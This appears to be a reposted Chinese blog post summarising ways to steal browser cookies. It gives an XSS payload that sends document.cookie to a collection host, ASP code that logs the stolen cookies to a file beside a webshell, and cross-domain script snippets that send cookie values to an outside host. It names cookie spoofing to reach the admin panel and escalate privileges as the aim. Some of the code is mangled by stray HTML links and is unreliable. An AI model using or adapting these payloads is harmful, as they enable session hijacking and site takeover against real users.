盗COOKIE之方法总结
1.xss跨站盜cookie
2.ajax跨域盜cookie
3.hosts文件映射
對(duì)于第一種方法,首先:在有跨站漏洞的頁面貼上跨站代碼如:
<script>window.open('http://cookiedst/delcookie.asp?
msg='+document.cookie)</script>
//意思是接收客戶端用戶的cookie并發(fā)送到delcookie.asp這個(gè)頁面進(jìn)行處理,處理的結(jié)果是通過delcookie.asp這個(gè)頁面將客戶端的cookie寫入一個(gè)叫cookie.txt的文件中,從而實(shí)現(xiàn)目的!
然后,在webshell與delcookie.asp同目錄之下建立一個(gè)cookie.txt文件接收cookie!
最后,通過cookie欺騙登入網(wǎng)站后臺(tái)!進(jìn)而對(duì)網(wǎng)站提權(quán),呵呵~
delcookie.asp代碼:
<html>
<title>xx</title>
<body>
<%
testfile = Server.MapPath("code.txt") //先構(gòu)造一個(gè)路徑,也
就是取網(wǎng)站根目錄,創(chuàng)造一個(gè)在根目錄下的code.txt路徑,保存在
testfile中
msg = Request("msg") //獲取提交過來的msg變量,也就是
cookie值
set fs = server.CreateObject("scripting.filesystemobject")
創(chuàng)建一個(gè)fs對(duì)象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg&"")//像code.txt中寫入獲取來的
cookie
thisfile.close //關(guān)閉
set fs = nothing
%>
</body>
</html>
對(duì)于第二種方法,
利用ajax盜取cookie的難題解決:
第一個(gè)難題是ajax跨域提交數(shù)據(jù),可以用web代理來解決,http://192.168.8.108上的a.htm代碼:
<script> function getXmlHttpRequest(){ if(window.ActiveXObject){ var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for(var i=0;i<iearr .length;i++) { var xmlhttp= new ActiveXObject(ieArr[i]); } return xmlhttp; } else if(window.XMLHttpRequest){ return new XMLHttpRequest(); } } var xmlHttp=getXmlHttpRequest(); xmlHttp.Open("get","<a href="http://192.168.8.108/asp/web.asp?url=http://87487575.com/2.asp?%20=mmm%22,true">http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true); xmlHttp.send(null)</iearr></script>其中web.asp是一個(gè)asp代理。
這樣直接訪問http://192.168.8.108/a.htm是可以成功發(fā)送數(shù)據(jù)的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個(gè)web.asp在上邊的,所以這種辦法不可行。
另外,其它的ie7.0下跨站想盜取cookie一般都會(huì)用到iframe標(biāo)簽,在沒有研究成功ajax發(fā)送的情況下,經(jīng)過搜索發(fā)現(xiàn)了另一種跨站的思路,不需要用iframe來跨域提交,代碼:
<script LANGUAGE="Javascript" src="" id="get"> </script> <script LANGUAGE="Javascript"> <!-- function get(url) { var obj = document.getElementById("get"); obj.src = url; (obj.readStatus == 200) { eval(alert("ok")); } } get("http://8888.com/2.asp?cookie=12345678")/*function query() { get("http://8888.com/web/1.img"); //在這里可以寫代碼,像把a(bǔ)lert("ok")里的ok換成變量,1.img 中的代碼是var ok="123" } //--> */</script>至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論
對(duì)于第三種方法,
采取的原理是:hosts文件的優(yōu)先級(jí)比DNS服務(wù)器的優(yōu)先級(jí)高!
轉(zhuǎn)載于:https://www.cnblogs.com/milantgh/p/3619405.html
總結(jié)
以上是生活随笔為你收集整理的盗COOKIE之方法总结的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 大数据 — Hadoop
- 下一篇: Jmeter逻辑控制器-ForEach